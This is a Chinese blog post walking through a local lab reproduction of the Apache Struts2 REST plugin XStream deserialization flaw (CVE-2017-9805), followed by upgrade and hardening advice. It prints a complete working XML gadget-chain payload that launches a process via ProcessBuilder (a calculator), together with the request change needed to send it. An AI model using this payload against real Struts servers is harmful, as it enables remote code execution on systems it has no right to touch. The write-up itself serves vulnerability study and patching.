@websec007
2017-09-06T17:49:27.000000Z
字数 3390
阅读 2716
Java类漏洞学习
2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为CVE-2017-9805(S2-052)。Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。
Struts2 REST 插件使用带有 XStream 程序的 XStream Handler 进行未经任何代码过滤的反序列化操作,这可能在反序列化XML payloads时导致远程代码执行,任意攻击者都可以构造恶意的XML内容提升权限
Struts 2.5 – Struts 2.5.12 ,据称还影响到 2.3.33 版本。
可以直接安装一个XAMPP套件,其默认就带有tomcat的支持,可以直接拿来进行struts环境的部署。
漏洞环境我们直接使用struts2.5.12包中的样例包搭建,我们直接下载 struts-2.5.12-apps.zip 包即可(20M大小,方便),无需下载struts-2.5.12-all.zip。
下载链接:http://mirror.bit.edu.cn/apache/struts/2.5.12/
我解压struts-2.5.12-apps.zip压缩包,找到apps目录,期中有两个样例的war包,我直接提取出struts2-rest-showcase.war
,然后将其放到tomcat的webapp根目录下,然后我们重启tomcat服务,随后会发现struts2-rest-showcase.war
会自动部署完成。
我们直接访问http://127.0.0.1:8080/struts2-rest-showcase
即可跳转到如下所示的界面。
我们打开burpsuite抓包工具,开启浏览器代理设置。随后我们访问样例页面,首先点击Edit
,然后进入到一个表单数据提交页面,我们主要是抓取此表单内容提交的数据(post数据),抓取到的post包内容截图如下。
在抓取到post提交数据保护后,我们需要修改两个内容。
首先修改数据包头中数据的类型,即修改默认的类型x-www-form-urlencoded
为xml
;
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
(3) 漏洞成功复现
注意:很多小伙伴可能遇到与我一样的问题,就是网上放出的POC有个坑,就是调用计算器的MACOS机器的默认路径,我们这里直接将其/Applications/Calculator.app/Contents/MacOS/Calculator
修改为calc.exe
即可跳过这个坑了。
目前尚无完美解决方案,想加固建议如下:
(1) 建议尽快升级到 2.5.13或 Struts 2.3.34版本,具体版本相关参考文档链接整理如下:
https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.13
https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.3.34
(2)在不使用时删除Struts REST插件,或仅限于服务器普通页面和JSONs:
(3)限制服务器端扩展类型,删除XML支持。
学习参考
https://cwiki.apache.org/confluence/display/WW/S2-052
https://mp.weixin.qq.com/s/PedD0NG2KLAKWbupzU8lrw
https://github.com/jas502n/St2-052
https://bbs.ichunqiu.com/thread-26789-1-1.html